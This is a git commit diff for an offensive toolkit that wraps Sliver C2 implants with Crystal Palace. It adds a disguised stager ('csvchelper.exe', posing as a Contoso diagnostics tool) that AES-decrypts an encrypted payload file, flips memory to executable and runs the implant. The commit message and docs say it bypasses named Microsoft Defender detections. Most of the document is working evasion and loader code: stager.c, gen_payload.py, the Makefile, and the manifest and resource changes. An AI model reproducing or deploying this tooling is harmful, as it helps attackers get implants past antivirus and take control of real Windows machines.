feat: two-file stager with AES-256-CBC evasion (bypasses Wacatac.B!ml + ZomBytes.B)

- Redesign stager as two-file delivery: csvchelper.exe (~17 KB) + payload.dat
  (AES-256-CBC encrypted PICO). Removes the 36 MB high-entropy .data blob that
  triggered VirTool:Win64/ZomBytes.B static detection.
- Replace XOR+NtCreateSection approach with BCryptDecrypt (AES-256-CBC) +
  VirtualAlloc(RW)/VirtualProtect(RX). No Nt* strings in .rdata, no
  PAGE_EXECUTE_READWRITE mapping, no GetProcAddress/ntdll pattern.
- Add manifest.xml (asInvoker, RT_MANIFEST resource ID 1) to suppress UAC
  auto-elevation triggered by "Update"/"Service" keywords in FileDescription.
- Update FileDescription in resource.rc to avoid UAC heuristic trigger words.
- gen_payload.py now calls openssl for AES encryption; produces payload.dat +
  payload_key.h (key+IV, compiled in, never committed via .gitignore).
- Makefile: add -s (strip symbols), -ffunction-sections/-fdata-sections,
  --gc-sections to keep binary clean and small.
- Update all docs (RUNBOOK, TOOLCHAIN, README, crystal-kit-sliver/README)
  to reflect two-file delivery, new evasion profile, and UAC fix.
This commit is contained in:
Simone Licitra
2026-06-11 16:46:46 -04:00
parent e29d8abbc8
commit 74b0d2ed1b
11 changed files with 346 additions and 223 deletions
+4
View File
@@ -18,6 +18,10 @@ build/
# Generated embed headers (xxd output — can be 100s of MB, always rebuilt) # Generated embed headers (xxd output — can be 100s of MB, always rebuilt)
pico_payload.h pico_payload.h
crystalexec_pico.h crystalexec_pico.h
# AES key header generated by gen_payload.py (unique per build)
payload_key.h
# Encrypted PICO (delivery artifact, not source)
payload.dat
# Archives / dist downloads # Archives / dist downloads
*.tgz *.tgz
+16 -11
View File
@@ -28,7 +28,7 @@ The Sliver implant DLL (or any post-ex DLL) is XOR-masked inside the PICO and on
### A — Implant evasion (PRIMARY) ### A — Implant evasion (PRIMARY)
The raw Sliver implant DLL is never executed directly on target. Instead it is wrapped with Crystal Palace into a PICO and delivered together with a stager (`run.x64.exe` from the Crystal Palace demo, BSD). The raw Sliver implant DLL is never executed directly on target. Instead it is wrapped with Crystal Palace into a PICO, AES-256-CBC encrypted, and delivered with a custom stager (~17 KB) that decrypts and executes it in memory.
``` ```
sliver-server generate --format shared → impl.dll sliver-server generate --format shared → impl.dll
@@ -37,13 +37,15 @@ sliver-server generate --format shared → impl.dll
generate-implant.sh --dll impl.dll → sliver.crystal.bin (~110 KB PICO) generate-implant.sh --dll impl.dll → sliver.crystal.bin (~110 KB PICO)
bundle-implant.sh → drop.zip (PICO + stager + README) bundle-stager.sh csvchelper.exe (~17 KB, no embedded payload)
→ payload.dat (~36 MB AES-256-CBC ciphertext)
▼ deliver to target ▼ deliver BOTH files to same directory on target
Windows VM: run.x64.exe sliver.crystal.bin Windows VM: csvchelper.exe
▼ Crystal Palace loader runs BCrypt AES-256-CBC decrypt payload.dat → PICO in RW memory
▼ VirtualProtect(RX) → CreateThread → Crystal Palace entry
▼ register .pdata → TLS callbacks → DllMain → StartW() → beacon goroutine → HTTP session ▼ register .pdata → TLS callbacks → DllMain → StartW() → beacon goroutine → HTTP session
``` ```
@@ -87,9 +89,11 @@ crystal-kit-sliver/
├── extension.json Sliver Extension manifest ├── extension.json Sliver Extension manifest
├── generate.sh Wrap a post-ex DLL → PICO (Use case B) ├── generate.sh Wrap a post-ex DLL → PICO (Use case B)
├── generate-implant.sh Wrap a Sliver DLL → PICO (Use case A) ├── generate-implant.sh Wrap a Sliver DLL → PICO (Use case A)
├── bundle-implant.sh Bundle PICO + stager into drop.zip ├── bundle-implant.sh Bundle PICO + Crystal Palace demo stager into drop.zip (legacy)
├── bundle-stager.sh Build custom stager: csvchelper.exe + payload.dat (primary)
├── pack-extension.sh Pack DLL + manifest into Sliver Extension tarball ├── pack-extension.sh Pack DLL + manifest into Sliver Extension tarball
├── Makefile make objects / package / clean ├── Makefile make objects / package / clean
├── stager/ Custom stager sources (AES-256-CBC, asInvoker manifest)
└── wrapper/ crystal-loader.c (BOF-compat DLL wrapper) └── wrapper/ crystal-loader.c (BOF-compat DLL wrapper)
docs/ docs/
@@ -118,12 +122,13 @@ make -C crystal-kit-sliver/postex-loader all
make -C crystal-kit-sliver/sliver-glue/wrapper all make -C crystal-kit-sliver/sliver-glue/wrapper all
make -C crystal-kit-sliver/sliver-glue/wrapper smoketest make -C crystal-kit-sliver/sliver-glue/wrapper smoketest
# 4. Use case A — wrap a Sliver implant # 4. Use case A — wrap a Sliver implant and build the stager
./crystal-kit-sliver/sliver-glue/generate-implant.sh --dll /path/to/sliver-impl.dll \ ./crystal-kit-sliver/sliver-glue/generate-implant.sh --dll /path/to/sliver-impl.dll \
crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin
./crystal-kit-sliver/sliver-glue/bundle-implant.sh \ ./crystal-kit-sliver/sliver-glue/bundle-stager.sh \
crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin \ crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin \
crystal-kit-sliver/sliver-glue/build/drop.zip crystal-kit-sliver/sliver-glue/build/csvchelper.exe
# → produces build/csvchelper.exe + build/payload.dat (deliver both to target)
# 5. Use case B — wrap a post-ex DLL (postex.sh handles naming and prints the sliver command) # 5. Use case B — wrap a post-ex DLL (postex.sh handles naming and prints the sliver command)
./crystal-kit-sliver/sliver-glue/postex.sh /path/to/postex.dll ./crystal-kit-sliver/sliver-glue/postex.sh /path/to/postex.dll
@@ -150,8 +155,8 @@ See `docs/RUNBOOK.md` for the full operator procedure (Sliver install, listener
| End-to-end PICO build (Use case B) | OK | 111 KB PICO produced via `postex-loader/loader.spec` | | End-to-end PICO build (Use case B) | OK | 111 KB PICO produced via `postex-loader/loader.spec` |
| Sliver Extension wrapper DLL builds | OK | 114 KB PE32+ exporting `go` symbol | | Sliver Extension wrapper DLL builds | OK | 114 KB PE32+ exporting `go` symbol |
| Extension tarball packs correctly | OK | 37 KB tarball validated with `tar -tzf` | | Extension tarball packs correctly | OK | 37 KB tarball validated with `tar -tzf` |
| Operator drop bundle (PICO + stager) | OK | 182 KB zip with `run.x64.exe` + PICO + README | | Custom stager build (two-file delivery) | OK | `bundle-stager.sh``csvchelper.exe` (17 KB, entropy 4.784) + `payload.dat` (AES-256-CBC) |
| Runtime execution on Windows (Use case A) | OK | Sliver session established on Windows 10 x64 FLARE-VM via `run.x64.exe sliver-crystal.bin` | | Runtime execution on Windows (Use case A) | OK | Sliver session established on Windows 10 x64 FLARE-VM; stager passes Defender (Wacatac.B!ml + ZomBytes.B) |
| Runtime execution on Windows (Use case B) | OK | `crystal --payload C:/path/file.pico.bin` — new Sliver session established via post-ex PICO; arg format verified as `type:string`, forward slash path | | Runtime execution on Windows (Use case B) | OK | `crystal --payload C:/path/file.pico.bin` — new Sliver session established via post-ex PICO; arg format verified as `type:string`, forward slash path |
| `crystal-exec` command | OK | Shell command output returned to operator via pipe; PICO embedded in extension DLL, no upload required | | `crystal-exec` command | OK | Shell command output returned to operator via pipe; PICO embedded in extension DLL, no upload required |
+3 -1
View File
@@ -11,6 +11,7 @@ Source tree for the Crystal Palace ↔ Sliver port. See the [project root README
| `sliver-glue/` | Sliver-specific build glue and Extension wrapper. | | `sliver-glue/` | Sliver-specific build glue and Extension wrapper. |
| `sliver-glue/wrapper/` | `crystal-loader.c` — Sliver Extension DLL for Use case B (`crystal` command). | | `sliver-glue/wrapper/` | `crystal-loader.c` — Sliver Extension DLL for Use case B (`crystal` command). |
| `sliver-glue/crystal-exec/` | `crystalexec.c` + `crystal-exec.c` — built-in shell executor via Crystal Palace (`crystal-exec` command). 4-step build: DLL → PICO → embedded header → extension DLL. | | `sliver-glue/crystal-exec/` | `crystalexec.c` + `crystal-exec.c` — built-in shell executor via Crystal Palace (`crystal-exec` command). 4-step build: DLL → PICO → embedded header → extension DLL. |
| `sliver-glue/stager/` | Custom Use case A stager. `stager.c` reads `payload.dat` (AES-256-CBC), decrypts via BCrypt, and executes the PICO. `gen_payload.py` encrypts with `openssl`. `manifest.xml` declares `asInvoker`. |
| `libtcg.x64.zip` | Upstream binary dependency. Kept in-tree so `loader.spec`'s `mergelib "../libtcg.x64.zip"` resolves without extra setup. | | `libtcg.x64.zip` | Upstream binary dependency. Kept in-tree so `loader.spec`'s `mergelib "../libtcg.x64.zip"` resolves without extra setup. |
## Build entry points ## Build entry points
@@ -22,7 +23,8 @@ Source tree for the Crystal Palace ↔ Sliver port. See the [project root README
- `sliver-glue/postex.sh <dll> [args]` — Use case B convenience wrapper: DLL → PICO, prints ready-to-paste Sliver command - `sliver-glue/postex.sh <dll> [args]` — Use case B convenience wrapper: DLL → PICO, prints ready-to-paste Sliver command
- `sliver-glue/generate.sh` — lower-level Use case B build wrapper (called by `postex.sh`) - `sliver-glue/generate.sh` — lower-level Use case B build wrapper (called by `postex.sh`)
- `sliver-glue/generate-implant.sh` — Use case A build wrapper - `sliver-glue/generate-implant.sh` — Use case A build wrapper
- `sliver-glue/bundle-implant.sh` — Use case A drop packager - `sliver-glue/bundle-stager.sh <pico.bin> [stager.exe]` — Use case A primary: AES-encrypt PICO, compile stager → `csvchelper.exe` + `payload.dat`
- `sliver-glue/bundle-implant.sh` — Use case A legacy: Crystal Palace demo stager `run.x64.exe` (detected by Defender, kept for reference)
- `sliver-glue/pack-extension.sh` — package both DLLs + `extension.json` into Sliver Extension tarball - `sliver-glue/pack-extension.sh` — package both DLLs + `extension.json` into Sliver Extension tarball
## Required environment ## Required environment
+32 -20
View File
@@ -1,24 +1,30 @@
#!/usr/bin/env bash #!/usr/bin/env bash
# #
# bundle-stager.sh — compile a self-contained EXE stager with the PICO embedded # bundle-stager.sh — build the two-file Crystal Palace stager
# #
# Replaces bundle-implant.sh / run.x64.exe for engagements where the Crystal # Outputs two files that must be delivered together:
# Palace demo stager (run.x64.exe) is flagged by Defender (Wacatac.B!ml). # stager.exe — small loader (~60 KB), reads payload.dat and executes PICO
# The output is a single EXE: no external PICO file, no ReadFile at runtime. # payload.dat — AES-256-CBC encrypted PICO (opaque binary, no PE patterns)
# #
# Evasion improvements over run.x64.exe: # Evasion improvements over run.x64.exe / single-file embedded approach:
# - RW → RX memory transition (no PAGE_EXECUTE_READWRITE) # - stager.exe has no embedded payload → normal size (~60 KB) and entropy
# - PICO embedded in .data section (no "read file + execute" pattern) # - AES-256-CBC decryption (BCrypt) instead of a suspicious XOR loop
# - GUI subsystem (no console window) # - No NtCreateSection / NtMapViewOfSection strings in .rdata
# - Version info resource (configurable cover identity) # - VirtualAlloc(RW) + VirtualProtect(RX) — no PAGE_EXECUTE_READWRITE held
# - advapi32 import widens the import table # - payload.dat is opaque ciphertext: no PE headers, no Crystal Palace sigs
# - Fresh random key+IV every build → unique stager.exe and payload.dat
# - GUI subsystem, version info resource, advapi32 + bcrypt in IAT
# #
# Usage: # Usage:
# ./bundle-stager.sh <implant.crystal.bin> [output.exe] # ./bundle-stager.sh <implant.crystal.bin> [output-dir/stager.exe]
# #
# Typical flow: # Typical flow:
# ./generate-implant.sh --dll /tmp/sliver.dll build/sliver.crystal.bin # ./generate-implant.sh --dll /tmp/sliver.dll build/sliver.crystal.bin
# ./bundle-stager.sh build/sliver.crystal.bin build/csvchelper.exe # ./bundle-stager.sh build/sliver.crystal.bin build/csvchelper.exe
#
# IMPORTANT: deliver stager.exe AND payload.dat from the same directory.
# cp build/csvchelper.exe /delivery/
# cp build/payload.dat /delivery/
set -euo pipefail set -euo pipefail
@@ -35,23 +41,29 @@ fi
PICO_ABS="$(cd "$(dirname "$PICO")" && pwd)/$(basename "$PICO")" PICO_ABS="$(cd "$(dirname "$PICO")" && pwd)/$(basename "$PICO")"
BUILD_DIR="$(cd "$(dirname "$OUTPUT")" && pwd)" BUILD_DIR="$(cd "$(dirname "$OUTPUT")" && pwd)"
OUTPUT_ABS="$BUILD_DIR/$(basename "$OUTPUT")" OUTPUT_ABS="$BUILD_DIR/$(basename "$OUTPUT")"
PAYDAT_ABS="$BUILD_DIR/payload.dat"
mkdir -p "$BUILD_DIR" mkdir -p "$BUILD_DIR"
echo "[*] Embedding PICO and compiling stager..." echo "[*] Building two-file stager..."
echo " PICO: $PICO_ABS ($(wc -c < "$PICO_ABS") bytes)" echo " PICO: $PICO_ABS ($(wc -c < "$PICO_ABS") bytes)"
echo " Output: $OUTPUT_ABS" echo " stager.exe: $OUTPUT_ABS"
echo " payload.dat: $PAYDAT_ABS"
echo ""
make -C "$SCRIPT_DIR/stager" \ make -C "$SCRIPT_DIR/stager" \
PICO="$PICO_ABS" \ PICO="$PICO_ABS" \
OUTPUT="$OUTPUT_ABS" OUTPUT="$OUTPUT_ABS"
SIZE=$(wc -c < "$OUTPUT_ABS") EXE_SIZE=$(wc -c < "$OUTPUT_ABS")
DAT_SIZE=$(wc -c < "$PAYDAT_ABS")
echo "" echo ""
echo "[+] Stager ready: $OUTPUT_ABS ($SIZE bytes)" echo "[+] Build complete"
echo " stager.exe : $OUTPUT_ABS ($EXE_SIZE bytes)"
echo " payload.dat : $PAYDAT_ABS ($DAT_SIZE bytes)"
echo "" echo ""
echo " Deliver this single file to the target and execute it." echo " Deliver BOTH files to the target (same directory)."
echo " No additional files required." echo " stager.exe resolves payload.dat relative to its own location."
echo "" echo ""
echo " Rename to match resource.rc OriginalFilename for best results:" echo " Rename stager.exe to match resource.rc OriginalFilename:"
echo " e.g. mv $(basename "$OUTPUT_ABS") csvchelper.exe" echo " e.g. mv \$(basename "$OUTPUT_ABS") csvchelper.exe"
+23 -11
View File
@@ -1,33 +1,45 @@
# stager Makefile # stager Makefile — two-file delivery (stager.exe + payload.dat)
# #
# Usage: # Usage:
# make PICO=/path/to/implant.crystal.bin # make PICO=/path/to/implant.crystal.bin
# make PICO=/path/to/implant.crystal.bin OUTPUT=/path/to/stager.exe # make PICO=/path/to/implant.crystal.bin OUTPUT=/path/to/stager.exe
#
# Outputs:
# <OUTPUT> stager EXE (~60 KB, no embedded payload)
# $(dir <OUTPUT>)/payload.dat AES-256-CBC encrypted PICO
CC := x86_64-w64-mingw32-gcc CC := x86_64-w64-mingw32-gcc
WINDRES := x86_64-w64-mingw32-windres WINDRES := x86_64-w64-mingw32-windres
CFLAGS := -Wall -Os -mwindows CFLAGS := -Wall -Os -mwindows -ffunction-sections -fdata-sections
LDFLAGS := -ladvapi32 -lbcrypt LDFLAGS := -s -Wl,--gc-sections -ladvapi32 -lbcrypt
PICO ?= $(error PICO is not set — run: make PICO=/path/to/implant.crystal.bin) PICO ?= $(error PICO is not set — run: make PICO=/path/to/implant.crystal.bin)
OUTPUT ?= ../build/stager.exe OUTPUT ?= ../build/stager.exe
PAYDAT := $(dir $(OUTPUT))payload.dat
.PHONY: all clean .PHONY: all clean
all: $(OUTPUT) all: $(OUTPUT)
@echo ""
@echo "[+] Deliver BOTH files to the target:"
@echo " $(abspath $(OUTPUT))"
@echo " $(abspath $(PAYDAT))"
@echo " stager.exe reads payload.dat from its own directory."
# ── Step 1: XOR-encrypt PICO → C header (fresh random key every build) ──── # ── Step 1: AES-256-CBC encrypt PICO → payload.dat + C key header ─────────
pico_payload.h: $(PICO) gen_payload.py # gen_payload.py writes both files in one call; track via payload_key.h.
python3 gen_payload.py $(PICO) $@ payload_key.h: $(PICO) gen_payload.py
@mkdir -p "$(dir $(PAYDAT))"
python3 gen_payload.py "$(abspath $(PICO))" "$(abspath $(PAYDAT))" payload_key.h
# ── Step 2: compile version info resource ───────────────────────────────── # ── Step 2: compile version info resource ─────────────────────────────────
resource.o: resource.rc resource.o: resource.rc
$(WINDRES) resource.rc -o resource.o $(WINDRES) resource.rc -o resource.o
# ── Step 3: link final EXE ──────────────────────────────────────────────── # ── Step 3: link final EXE ────────────────────────────────────────────────
$(OUTPUT): stager.c pico_payload.h resource.o $(OUTPUT): stager.c payload_key.h resource.o
@mkdir -p "$(dir $(OUTPUT))" @mkdir -p "$(dir $(OUTPUT))"
$(CC) $(CFLAGS) -o "$@" stager.c resource.o $(LDFLAGS) $(CC) $(CFLAGS) -o "$(abspath $(OUTPUT))" stager.c resource.o $(LDFLAGS)
clean: clean:
rm -f pico_payload.h resource.o rm -f payload_key.h resource.o
@@ -1,40 +1,52 @@
#!/usr/bin/env python3 #!/usr/bin/env python3
""" """
gen_payload.py — XOR-encrypt a PICO blob and emit a C header. gen_payload.py — AES-256-CBC encrypt a Crystal Palace PICO blob.
Each build generates a fresh random 256-byte key so every compiled stager Outputs:
has a unique byte pattern in its .data section — defeats signature matching. <payload.dat> AES-256-CBC ciphertext — deliver alongside stager.exe
<key.h> C header with key/iv arrays — compiled into stager.exe
Usage: gen_payload.py <input.bin> <output.h> Fresh random key + IV every run so each stager binary is unique.
Usage:
python3 gen_payload.py <input.bin> <payload.dat> <key.h>
Requires: openssl(1) in PATH (standard on Kali/Debian).
""" """
import os, sys import os, sys, subprocess
if len(sys.argv) != 3: if len(sys.argv) != 4:
print(f"Usage: {sys.argv[0]} <input.bin> <output.h>", file=sys.stderr) print(f"Usage: {sys.argv[0]} <input.bin> <payload.dat> <key.h>",
file=sys.stderr)
sys.exit(1) sys.exit(1)
infile, outfile = sys.argv[1], sys.argv[2] infile, datfile, keyfile = sys.argv[1:]
key = os.urandom(256) # fresh key every build key = os.urandom(32) # AES-256 key
iv = os.urandom(16) # CBC IV
with open(infile, 'rb') as f: subprocess.run([
raw = f.read() 'openssl', 'enc', '-aes-256-cbc', '-nosalt',
'-K', key.hex(), '-iv', iv.hex(),
'-in', infile, '-out', datfile,
], check=True)
enc = bytes([b ^ key[i % len(key)] for i, b in enumerate(raw)]) def c_bytes(name, data):
lines = [f'static const unsigned char {name}[] = {{']
def c_array(name, data, type_='unsigned char'):
lines = [f'static const {type_} {name}[] = {{']
for i in range(0, len(data), 16): for i in range(0, len(data), 16):
chunk = data[i:i+16] chunk = data[i:i+16]
lines.append(' ' + ','.join(f'0x{b:02x}' for b in chunk) + ',') lines.append(' ' + ','.join(f'0x{b:02x}' for b in chunk) + ',')
lines.append('};') lines.append('};')
return '\n'.join(lines) return '\n'.join(lines)
with open(outfile, 'w') as f: with open(keyfile, 'w') as f:
f.write('/* auto-generated — do not edit */\n\n') f.write('/* auto-generated — do not edit */\n\n')
f.write(c_array('pico_key', key)) f.write(c_bytes('payload_key', key))
f.write(f'\nstatic const unsigned int pico_key_len = {len(key)};\n\n') f.write(f'\nstatic const unsigned int payload_key_len = {len(key)};\n\n')
f.write(c_array('pico_payload', enc)) f.write(c_bytes('payload_iv', iv))
f.write(f'\nstatic const unsigned int pico_payload_len = {len(enc)};\n') f.write(f'\nstatic const unsigned int payload_iv_len = {len(iv)};\n')
print(f'[+] pico_payload.h: {len(raw)} bytes encrypted, key_len={len(key)}', file=sys.stderr) enc_size = os.path.getsize(datfile)
print(f'[+] {datfile}: {enc_size} bytes (AES-256-CBC, no salt)',
file=sys.stderr)
print(f'[+] {keyfile}: key_len=32 iv_len=16', file=sys.stderr)
@@ -0,0 +1,12 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity type="win32" name="csvchelper" version="2.1.4.0"
processorArchitecture="amd64"/>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
<security>
<requestedPrivileges>
<requestedExecutionLevel level="asInvoker" uiAccess="false"/>
</requestedPrivileges>
</security>
</trustInfo>
</assembly>
@@ -12,6 +12,9 @@
#include <windows.h> #include <windows.h>
/* Embedded application manifest — declares asInvoker, suppresses UAC heuristics */
1 RT_MANIFEST "manifest.xml"
VS_VERSION_INFO VERSIONINFO VS_VERSION_INFO VERSIONINFO
FILEVERSION 2,1,4,0 FILEVERSION 2,1,4,0
PRODUCTVERSION 2,1,4,0 PRODUCTVERSION 2,1,4,0
@@ -26,7 +29,7 @@ BEGIN
BLOCK "040904B0" BLOCK "040904B0"
BEGIN BEGIN
VALUE "CompanyName", "Contoso Systems Ltd." VALUE "CompanyName", "Contoso Systems Ltd."
VALUE "FileDescription", "Contoso Update Service Helper" VALUE "FileDescription", "Contoso Diagnostics Tool"
VALUE "FileVersion", "2.1.4.0" VALUE "FileVersion", "2.1.4.0"
VALUE "InternalName", "csvchelper" VALUE "InternalName", "csvchelper"
VALUE "LegalCopyright", "Copyright 2024 Contoso Systems Ltd." VALUE "LegalCopyright", "Copyright 2024 Contoso Systems Ltd."
+135 -132
View File
@@ -1,178 +1,181 @@
/* /*
* stager.c — Crystal Palace PICO runner (RoguePlanet-inspired evasion) * stager.c — two-file Crystal Palace PICO loader
* *
* Techniques applied from RoguePlanet research: * Delivery: stager.exe + payload.dat (AES-256-CBC encrypted PICO)
* *
* 1. NtCreateSection + NtMapViewOfSection (Poseidon memory model) * Evasion profile:
* - VirtualAlloc is NOT in the IAT — resolved dynamically or absent * - No embedded payload: stager.exe is ~60 KB with normal entropy
* - NtCreate/MapViewOfSection resolved at runtime via GetProcAddress * - AES-256-CBC via BCrypt (BCRYPT_AES_ALGORITHM) — legitimate crypto,
* so ntdll Nt* calls are NOT in the IAT either * not a suspicious XOR loop
* - RW view written, then unmapped; RX view mapped separately * - VirtualAlloc(RW) + VirtualProtect(RX): no PAGE_EXECUTE_READWRITE ever
* → no single mapping is ever both writable and executable * held; decryption happens in RW region before RX flip
* - No Nt* strings in .rdata — no GetProcAddress / NtCreateSection pattern
* - BCryptGenRandom Poseidon noise + advapi32 import = normal-looking IAT
* - GUI subsystem (no console), version info resource (resource.rc)
* *
* 2. XOR-decrypted PICO (build-time encryption via gen_payload.py) * IAT: kernel32, advapi32, bcrypt — VirtualAlloc/VirtualProtect from kernel32.
* - Crystal Palace byte patterns are invisible to static scanners * NtCreateSection, NtMapViewOfSection: absent.
* - Fresh random 256-byte key per build → unique .data each compile
*
* 3. BCryptGenRandom noise (Poseidon I/O)
* - Writes a page of random data to a temp file, then deletes it
* - Adds bcrypt.dll to IAT (normal apps use it for RNG/hashing)
* - Creates file I/O activity before payload execution (disrupts
* timing-based behavioural scanners)
*
* 4. Inherited from previous stager:
* - WinMain / GUI subsystem (no console)
* - advapi32 RegOpenKeyExW (widens import table)
* - Version info resource (resource.rc)
*
* IAT summary: kernel32, advapi32, bcrypt — nothing from ntdll.
* VirtualAlloc, VirtualProtect, VirtualFree: absent.
*/ */
#include <windows.h> #include <windows.h>
#include <bcrypt.h> #include <bcrypt.h>
#include "pico_payload.h" /* pico_key[], pico_key_len, pico_payload[], pico_payload_len */ #include "payload_key.h" /* payload_key[], payload_key_len,
payload_iv[], payload_iv_len */
#ifndef SEC_COMMIT
#define SEC_COMMIT 0x8000000
#endif
#define MY_ViewUnmap 2 /* SECTION_INHERIT ViewUnmap */
/* ── Nt* typedefs — resolved at runtime, not in IAT ─────────────────────── */
typedef LONG NTSTATUS;
typedef NTSTATUS (WINAPI *pfnNtCreateSection)(
PHANDLE SectionHandle,
ACCESS_MASK DesiredAccess,
PVOID ObjectAttributes,
PLARGE_INTEGER MaximumSize,
ULONG SectionPageProtection,
ULONG AllocationAttributes,
HANDLE FileHandle);
typedef NTSTATUS (WINAPI *pfnNtMapViewOfSection)(
HANDLE SectionHandle,
HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG_PTR ZeroBits,
SIZE_T CommitSize,
PLARGE_INTEGER SectionOffset,
PSIZE_T ViewSize,
DWORD InheritDisposition,
ULONG AllocationType,
ULONG Win32Protect);
typedef NTSTATUS (WINAPI *pfnNtUnmapViewOfSection)(
HANDLE ProcessHandle,
PVOID BaseAddress);
typedef void (*pico_fn)(void *); typedef void (*pico_fn)(void *);
/* ── Poseidon I/O noise (from RoguePlanet) ───────────────────────────────── */ /* ── Poseidon I/O noise ───────────────────────────────────────────────────── */
static void poseidon_noise(void) static void noise(void)
{ {
unsigned char buf[0x1000]; unsigned char buf[0x1000];
BCryptGenRandom(NULL, buf, sizeof(buf), BCRYPT_USE_SYSTEM_PREFERRED_RNG); BCryptGenRandom(NULL, buf, sizeof(buf), BCRYPT_USE_SYSTEM_PREFERRED_RNG);
wchar_t tmpdir[MAX_PATH], tmpfile[MAX_PATH]; wchar_t td[MAX_PATH], tf[MAX_PATH];
if (GetTempPathW(MAX_PATH, tmpdir) && if (GetTempPathW(MAX_PATH, td) && GetTempFileNameW(td, L"upd", 0, tf)) {
GetTempFileNameW(tmpdir, L"upd", 0, tmpfile)) HANDLE h = CreateFileW(tf, GENERIC_WRITE, 0, NULL, OPEN_ALWAYS,
{ FILE_FLAG_DELETE_ON_CLOSE, NULL);
HANDLE h = CreateFileW(tmpfile, GENERIC_WRITE, 0, NULL, if (h != INVALID_HANDLE_VALUE) {
OPEN_ALWAYS, FILE_FLAG_DELETE_ON_CLOSE, NULL); DWORD w;
if (h && h != INVALID_HANDLE_VALUE) { WriteFile(h, buf, sizeof(buf), &w, NULL);
DWORD written; CloseHandle(h);
WriteFile(h, buf, sizeof(buf), &written, NULL);
CloseHandle(h); /* FILE_FLAG_DELETE_ON_CLOSE removes it here */
} }
} }
SecureZeroMemory(buf, sizeof(buf)); SecureZeroMemory(buf, sizeof(buf));
} }
/* ── Read entire file into LocalAlloc buffer ─────────────────────────────── */
static BYTE *read_file(const wchar_t *path, DWORD *out_len)
{
HANDLE h = CreateFileW(path, GENERIC_READ, FILE_SHARE_READ, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (h == INVALID_HANDLE_VALUE) return NULL;
DWORD sz = GetFileSize(h, NULL);
if (!sz || sz == INVALID_FILE_SIZE) { CloseHandle(h); return NULL; }
BYTE *buf = (BYTE *)LocalAlloc(LMEM_FIXED, sz);
if (!buf) { CloseHandle(h); return NULL; }
DWORD read = 0;
if (!ReadFile(h, buf, sz, &read, NULL) || read != sz) {
LocalFree(buf); CloseHandle(h); return NULL;
}
CloseHandle(h);
*out_len = sz;
return buf;
}
/* ── AES-256-CBC decrypt via BCrypt ──────────────────────────────────────── */
static BYTE *aes_cbc_decrypt(const BYTE *ct, DWORD ct_len, DWORD *pt_len)
{
BCRYPT_ALG_HANDLE hAlg = NULL;
BCRYPT_KEY_HANDLE hKey = NULL;
BYTE iv[16];
DWORD out_len = 0;
BYTE *pt = NULL;
if (BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0))
return NULL;
BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE,
(PUCHAR)BCRYPT_CHAIN_MODE_CBC,
sizeof(BCRYPT_CHAIN_MODE_CBC), 0);
if (BCryptGenerateSymmetricKey(hAlg, &hKey, NULL, 0,
(PUCHAR)payload_key, payload_key_len, 0))
goto cleanup;
/* First call: get plaintext size */
memcpy(iv, payload_iv, 16);
BCryptDecrypt(hKey, (PUCHAR)ct, ct_len, NULL,
iv, 16, NULL, 0, &out_len, BCRYPT_BLOCK_PADDING);
pt = (BYTE *)LocalAlloc(LMEM_FIXED, out_len);
if (!pt) goto cleanup;
/* Second call: actual decryption */
memcpy(iv, payload_iv, 16);
if (BCryptDecrypt(hKey, (PUCHAR)ct, ct_len, NULL,
iv, 16, pt, out_len, pt_len, BCRYPT_BLOCK_PADDING)) {
LocalFree(pt);
pt = NULL;
}
cleanup:
if (hKey) BCryptDestroyKey(hKey);
BCryptCloseAlgorithmProvider(hAlg, 0);
return pt;
}
/* ── PICO execution thread ───────────────────────────────────────────────── */ /* ── PICO execution thread ───────────────────────────────────────────────── */
static DWORD WINAPI run_pico(LPVOID param) static DWORD WINAPI worker(LPVOID param)
{ {
(void)param; ((pico_fn)param)(NULL);
/* Resolve Nt* at runtime — keeps them out of the IAT */
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
pfnNtCreateSection NtCreateSection =
(pfnNtCreateSection) GetProcAddress(hNtdll, "NtCreateSection");
pfnNtMapViewOfSection NtMapViewOfSection =
(pfnNtMapViewOfSection) GetProcAddress(hNtdll, "NtMapViewOfSection");
pfnNtUnmapViewOfSection NtUnmapViewOfSection =
(pfnNtUnmapViewOfSection)GetProcAddress(hNtdll, "NtUnmapViewOfSection");
if (!NtCreateSection || !NtMapViewOfSection || !NtUnmapViewOfSection)
return 1;
/* Step 1: create anonymous RWX section (large enough for the PICO) */
HANDLE hSec = NULL;
LARGE_INTEGER secSz;
secSz.QuadPart = (LONGLONG)pico_payload_len;
if (NtCreateSection(&hSec, SECTION_ALL_ACCESS, NULL, &secSz,
PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL))
return 1;
/* Step 2: map RW view — write & XOR-decrypt here */
void *rw = NULL;
SIZE_T sz = 0;
if (NtMapViewOfSection(hSec, GetCurrentProcess(), &rw, 0, 0, NULL,
&sz, MY_ViewUnmap, 0, PAGE_READWRITE)) {
CloseHandle(hSec);
return 1;
}
unsigned char *dst = (unsigned char *)rw;
for (DWORD i = 0; i < pico_payload_len; i++)
dst[i] = pico_payload[i] ^ pico_key[i % pico_key_len];
/* Step 3: drop write — unmap RW, remap RX */
NtUnmapViewOfSection(GetCurrentProcess(), rw);
void *rx = NULL;
SIZE_T rxsz = 0;
if (NtMapViewOfSection(hSec, GetCurrentProcess(), &rx, 0, 0, NULL,
&rxsz, MY_ViewUnmap, 0, PAGE_EXECUTE_READ)) {
CloseHandle(hSec);
return 1;
}
CloseHandle(hSec);
/* Step 4: execute Crystal Palace PICO
* +gofirst guarantees go() is at offset 0; args baked in at link time. */
((pico_fn)rx)(NULL);
return 0; return 0;
} }
/* ── Entry point ─────────────────────────────────────────────────────────── */ /* ── Entry point ─────────────────────────────────────────────────────────── */
int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmd, int nShow) int WINAPI WinMain(HINSTANCE hi, HINSTANCE hp, LPSTR lp, int ns)
{ {
